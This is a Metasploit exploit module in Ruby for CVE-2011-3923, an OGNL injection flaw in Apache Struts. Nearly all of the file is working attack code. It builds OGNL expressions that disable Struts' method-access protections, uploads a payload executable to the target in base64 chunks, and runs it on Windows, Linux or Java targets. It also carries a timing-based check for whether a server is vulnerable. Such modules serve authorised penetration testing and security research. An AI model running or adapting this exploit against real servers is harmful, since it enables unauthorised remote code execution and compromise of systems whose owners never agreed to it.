##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpClient
	include Msf::Exploit::EXE
	include Msf::Exploit::FileDropper

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Apache Struts ParametersInterceptor Remote Code Execution',
			'Description'    => %q{
				This module exploits a remote command execution vulnerability in
				Apache Struts versions < 2.3.1.2. This issue is caused because the
				ParametersInterceptor allows for the use of parentheses which in turn allows it to interpret
				parameter values as OGNL expressions during certain exception handling for mismatched
				data types of properties which allows remote attackers to execute arbitrary Java code
				via a crafted parameter.
			},
			'Author'         =>
				[
					'Richard Hicks <scriptmonkey.blog[at]gmail.com>', # Metasploit Module
					'Meder Kydyraliev', # Vulnerability Discovery and PoC
					'mihi', #ARCH_JAVA support
				],
			'License'        => MSF_LICENSE,
			'References'     =>
				[
					[ 'CVE', '2011-3923'],
					[ 'OSVDB', '78501'],
					[ 'URL', 'http://blog.o0o.nu/2012/01/cve-2011-3923-yet-another-struts2.html'],
					[ 'URL', 'https://cwiki.apache.org/confluence/display/WW/S2-009']
				],
			'Platform'      => [ 'win', 'linux', 'java'],
			'Privileged'     => true,
			'Targets'        =>
				[
					['Windows Universal',
						{
							'Arch' => ARCH_X86,
							'Platform' => 'windows'
						}
					],
					['Linux Universal',
						{
							'Arch' => ARCH_X86,
							'Platform' => 'linux'
						}
					],
					[ 'Java Universal',
						{
								'Arch' => ARCH_JAVA,
								'Platform' => 'java'
						},
					]
				],
			'DisclosureDate' => 'Oct 01 2011',
			'DefaultTarget' => 2))

			register_options(
				[
					Opt::RPORT(8080),
					OptString.new('PARAMETER',[ true, 'The parameter to perform injection against.',"username"]),
					OptString.new('TARGETURI', [ true, 'The path to a struts application action with the location to perform the injection', "/blank-struts2/login.action?INJECT"]),
					OptString.new('CMD', [ false, 'Execute this command instead of using command stager', "" ])
				], self.class)
	end

	def execute_command(cmd, opts = {})
		inject = "PARAMETERTOKEN=(#context[\"xwork.MethodAccessor.denyMethodExecution\"]=+new+java.lang.Boolean(false),#_memberAccess[\"allowStaticMethodAccess\"]"
		inject << "=+new+java.lang.Boolean(true),CMD)('meh')&z[(PARAMETERTOKEN)(meh)]=true"
		inject.gsub!(/PARAMETERTOKEN/,Rex::Text::uri_encode(datastore['Parameter']))
		inject.gsub!(/CMD/,Rex::Text::uri_encode(cmd))
		uri = String.new(datastore['TARGETURI'])
		uri = normalize_uri(uri)
		uri.gsub!(/INJECT/,inject) # append the injection string
		resp = send_request_cgi({
			'uri'     => uri,
			'version' => '1.1',
			'method'  => 'GET',
		}, 15)
		return resp #Used for check function.
	end

	def exploit
		#Set up generic values.
		@payload_exe = rand_text_alphanumeric(4+rand(4))
		pl_exe = generate_payload_exe
		chunk_length = 384
		append = 'false'

		#Now arch specific...
		case target['Platform']
		when 'linux'
			chunk_length = 128 #Complains of a long filename if left default.
			@payload_exe = "/tmp/#{@payload_exe}"
			chmod_cmd = "@java.lang.Runtime@getRuntime().exec(\"/bin/sh@-c@chmod +x #{@payload_exe}\".split(\"@\"))"
			exec_cmd = "@java.lang.Runtime@getRuntime().exec(\"/bin/sh@-c@#{@payload_exe}\".split(\"@\"))"
		when 'java'
			@payload_exe << ".jar"
			pl_exe = payload.encoded_jar.pack
			exec_cmd = ""
			exec_cmd << "#q=@java.lang.Class@forName('ognl.OgnlRuntime').getDeclaredField('_jdkChecked'),"
			exec_cmd << "#q.setAccessible(true),#q.set(null,true),"
			exec_cmd << "#q=@java.lang.Class@forName('ognl.OgnlRuntime').getDeclaredField('_jdk15'),"
			exec_cmd << "#q.setAccessible(true),#q.set(null,false),"
			exec_cmd << "#cl=new java.net.URLClassLoader(new java.net.URL[]{new java.io.File('#{@payload_exe}').toURI().toURL()}),"
			exec_cmd << "#c=#cl.loadClass('metasploit.Payload'),"
			exec_cmd << "#c.getMethod('main',new java.lang.Class[]{@java.lang.Class@forName('[Ljava.lang.String;')}).invoke("
			exec_cmd << "null,new java.lang.Object[]{new java.lang.String[0]})"
		when 'windows'
			@payload_exe = "./#{@payload_exe}.exe"
			exec_cmd = "@java.lang.Runtime@getRuntime().exec('#{@payload_exe}')"
		else
			fail_with(Exploit::Failure::NoTarget, 'Unsupported target platform!')
		end

		#Now with all the arch specific stuff set, perform the upload.

		while pl_exe.length > chunk_length
			java_upload_part(pl_exe[0,chunk_length],@payload_exe,append)
			pl_exe = pl_exe[chunk_length,pl_exe.length - chunk_length]
			append = true
		end
		java_upload_part(pl_exe,@payload_exe,append)
		execute_command(chmod_cmd) if target['Platform'] == 'linux'
		execute_command(exec_cmd)
		register_files_for_cleanup(@payload_exe)
	end

	def java_upload_part(part, filename, append = 'false')
		cmd = ""
		cmd << "#f=new java.io.FileOutputStream('#{filename}',#{append}),"
		cmd << "#f.write(new sun.misc.BASE64Decoder().decodeBuffer('#{Rex::Text.encode_base64(part)}')),"
		cmd << "#f.close()"
		execute_command(cmd)
	end

	def check
		check_cmd = "@java.lang.Thread@sleep(10000)"
		t1 = Time.now
		response = execute_command(check_cmd)
		t2 = Time.now
		delta = t2 - t1


		if response.nil?
			return Exploit::CheckCode::Safe
		elsif delta < 10
			return Exploit::CheckCode::Safe
		else
			return Exploit::CheckCode::Appears
		end
	end

end